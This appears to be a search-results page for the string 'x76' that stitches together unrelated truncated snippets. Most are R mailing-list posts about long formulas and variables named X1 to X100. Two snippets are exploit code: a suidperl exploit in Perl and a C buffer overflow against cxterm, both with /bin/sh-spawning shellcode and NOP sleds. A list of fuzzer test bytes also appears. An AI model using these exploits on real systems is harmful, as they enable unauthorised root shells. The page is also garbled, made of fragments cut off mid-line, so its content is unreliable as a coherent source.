search for: x76

...x26 + x27 + x28 + x29 + x30 + x31 + x32 + x33 + x34 + x35 + x36 + x37 + x38 + x39 + x40 + x41 + x42 + x43 + x44 + x45 + x46 + x47 + x48 + x49 + x50 + x51 + x52 + x53 + x54 + x55 + x56 + x57 + x58 + x59 + x60 + x61 + x62 + x63 + x64 + x65 + x66 + x67 + x68 + x69 + x70 + x71 + x72 + x73 + x74 + x75 + x76 + x77 + x78 + x79 + x80) it gives me an error "Error in eval(expr, envir, enclos) : object 'x3' not found" which I dont know why I am given those errors. The other thing is that when I use the "glm.fit", I can get coefficients without any errors. So, I am not sure what i...

Hello all you helpful people out there! I am stil R Beginner using R 2.5.1 on a Apple Power Book G4 with Mac OS X 10.4.10 . I have two tabels like this: MalTabChi X1 X4 X6 X8 X10 X14 X21 X24 X29 X38 X43 X50 X67 X76 X78 X80 X82 X84 Anth_cap 1 1 1 1 6 5 1 45 12 4 12 6 56 5 2 4 1 1 Anth_crin 12 1 1 2 76 5 1 45 256 2 25 56 56 345 2 23 1 2 Anth_eck 12 1 12 1 7 5 12 5 14 45 2 56 4 5 2 34 1 12...

...quot;,"X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75","X76","X77","X78","X79","X80","X81","X82","X83","X84","X85","X86","X87","X88","X89","X90","X91","X92","X93","X94",&quot...

...0,X31,X32,X33,X34,X35,X36,X37,X78) Guilda5<-cbind(X3,X8,X18,X23,X63,X82,X83) Guilda6<-cbind(X6,X38,X39,X44,X45,X46,X47,X49,X50,X51,X52,X53,X54,X55,X56,X57,X58,X59,X60,X61,X62,X84) Guilda7<-cbind(X1,X2,X42,X43,X64,X65,X66,X67,X68,X79,X80) Guilda8<-cbind(X7,X15,X16,X70,X71,X72,X73,X74,X75,X76) Guilda9<-cbind(X4,X9,X10,X11,X12,X13,X14,X81) Resul.Guilda1<-sum(apply(Guilda1,2,sum)) Resul.Guilda2<-sum(apply(Guilda2,2,sum)) Resul.Guilda3<-sum(apply(Guilda3,2,sum)) Resul.Guilda4<-sum(apply(Guilda4,2,sum)) Resul.Guilda5<-sum(apply(Guilda5,2,sum)) Resul.Guilda6<-sum(apply(G...

...X58","X59","X60","X61" > ,"X62","X63","X64","X65","X66","X67","X68","X69","X70","X71" > ,"X72","X73","X74","X75","X76","X77","X78","X79","X80","X81" > ,"X82","X83","X84","X85","X86","X87","X88","X89","X90","X91" > ,"X92","X93","X94...

..."X59" "X60" [61] "X61" "X62" "X63" "X64" "X65" "X66" "X67" "X68" "X69" "X70" "X71" "X72" "X73" "X74" "X75" "X76" "X77" "X78" "X79" "X80" [81] "X81" "X82" "X83" "X84" "X85" "X86" "X87" "X88" "X89" "X90" "X91" "X92" "X93"...

Hello, I have looked on https://www.r-project.org/bugs.html , but it seems that this is the only way to do it. The issue is that the precision used by write.csv is on consistant for big files. See the following code: First I create a large dataframe filled with random uniform values. Then I write it to .csv and print out the first and last lines. df = data.frame(replicate(100, runif(1000000,

...l <- lm(X2 +X3+X4+X5+X6+X7+X8+X9+X10+X11+X12+X13+X14+X15+X16+X17+X18+X19+X20+X21+X22+X23+X24+X25+X26+X27+X28+X29+X30+X31+X32+X33+X34+X35+X36+X37+X38+X39+X40+X41+X42+X43+X44+X45+X46+X47+X48+X49+X50+X51+X52+X53+X54+X55+X56+X57+X58+X59+X60+X61+X62+X63+X64+X65+X66+X67+X68+X69+X70+X71+X72+X73+X74+X75+X76+X77+X78+X79+X80+X81+X82+X83+X84+X85+X86+X87+X88+X89+X90+X91+X92+X93+X94+X95+X96+X97+X98+X99+X100+X101+X102+X103+X104+X105+X106+X107+X108+X109+X110+X111+X112+X113+X114+X115+X116+X117+X118+X119+X120+X121+X122+X123+X124+X125+X126+X127+X128+X129+X130+X131+X132+X133+X134+X135+X136+X137+X138+X139+X140+X1...

...quot;,"X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75","X76","X77","X78","X79","X80","X81","X82","X83","X84","X85","X86","X87","X88","X89","X90","X91","X92","X93","X94",&quot...

...x58","x59","x60", "x61","x62","x63","x64","x65","x66","x67","x68","x69","x70", "x71","x72","x73","x74","x75","x76","x77","x78","x79","x80", "x81","x82","x83","x84","x85","x86","x87","x88","x89","x90", "x91","x92","x93","x94...

...ot;, "X59", "X60", "X61", "X62", "X63", "X64", "X65", "X66", "X67", "X68", "X69", "X70", "X71", "X72", "X73", "X74", "X75", "X76", "X77", "X78", "X79", "X80", "X81", "X82", "X83", "X84", "X85", "X86", "X87", "X88", "X89", "X90", "X91", "X92", "X93", &qu...

...quot;,"X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75","X76","X77","X78","X79","X80","X81","X82","X83","X84","X85","X86","X87","X88","X89","X90","X91","X92","X93","X94",&quot...

..., X17, X18, X19, X20, X21, X22, X23, X24, X25, X26, X27, X28, X29, X30, X31, X32, X33, X34, X35, X36, X37, X38, X39, X40, X41, X42, X43, X44, X45, X46, X47, X48, X49, X50, X51, X52, X53, X54, X55, X56, X57, X58, X59, X60, X61, X62, X63, X64, X65, X66, X67, X68, X69, X70, X71, X72, X73, X74, X75, X76, X77, X78, X79, X80, X81, X82, X83, X84, X85, X86, X87, X88, X89, X90, X91, X92, X93, X94, X95, X96, X97, X98, X99, X100, theta = lambda, scale = FALSE) and get the error message Error in model.frame.default(formula = form, data = sdf) : invalid variable names Calls: coxph -> eval -> eva...

Hi, I was wondering how it was possible to access the actual cluster exemplars from the APResult class. Currently it only spits it out onto the terminal if you type the object but there is no other way to see which one is the examplar. Would appreciate any help. Thanks, Sachin [[alternative HTML version deleted]]

If you want a character representation of a long formula (or a formula with long names), you can use: as.character(my.formula) However restriction on length of an as.character result returns only the beginning of a long formula, and without comment. In most cases, the following expression provides the complete result: paste(my.formula[[2]], " ~ ",

...code] #!/usr/bin/perl # yes, this suidperl exploit is in perl, isn''t it wonderful? :) $| = 1; $shellcode = "\x90" x 512 . # nops "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp # "standard shellcode" by Aleph One "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; # start and end of .data # adjust this using /proc/*/maps $databot = 0x080a2000; $datatop = 0x080ab000; # trial and...

...quot;,"X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75","X76","X77","X78","X79","X80","X81","X82","X83","X84","X85","X86","X87","X88","X89","X90","X91","X92","X93","X94",&quot...

...clude <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff =...

...I have to recode my variables in a different way to handle this? I really hope you understand now what I mean. If not please ask me. I would be very pleased, if somebody could help me. Here are the two tables: MalTabChi X1 X4 X6 X8 X10 X14 X21 X24 X29 X38 X43 X50 X67 X76 X78 X80 X82 X84 Anth_cap 1 1 1 1 6 5 1 45 12 4 12 6 56 5 2 4 1 1 Anth_crin 12 1 1 2 76 5 1 45 256 2 25 56 56 345 2 23 1 2 Anth_eck 12 1 12 1 7 5 12 5 14 45 2 56 4 5 2 34 1 12 Anth_gram...

..., #endif // The following test cases were found by libFuzzer+ASAN "\x44\x74\x70\x74\x71\x75\x34\x43\x41\x72\x4D\x6E\x65\x34\x9F\xC1\x43\x41\x72\x4D\x6E\x77\x38\x9A\x8E\x44\x6F\x64\x6C\x53\xF9\x5F\x70\x74\x70\x69\x45\x34\xD3\x73\x9E\x2A\x37", "\x4D\x41\x72\x63\x4E\x39\x44\x76\x72\x4D\x34\x44\x53\x4B\x6F\x44\x54\x6E\x61\x37\x47\x77\x78\x38\x43\x27\x41\x5F\x73\x70\x69\x45*", "\x41\x64\x6E\x32*", "\x43\x46\x41\x67\x73*", "\x72\x3A\x4E\x53\x64\x45\x39\x4F\x52\x4E\x1F\x43\x34\x64\x54\x5F\x49\x31\x41\x63\x6C\x37\x2A\x4D\x41\x67\x73...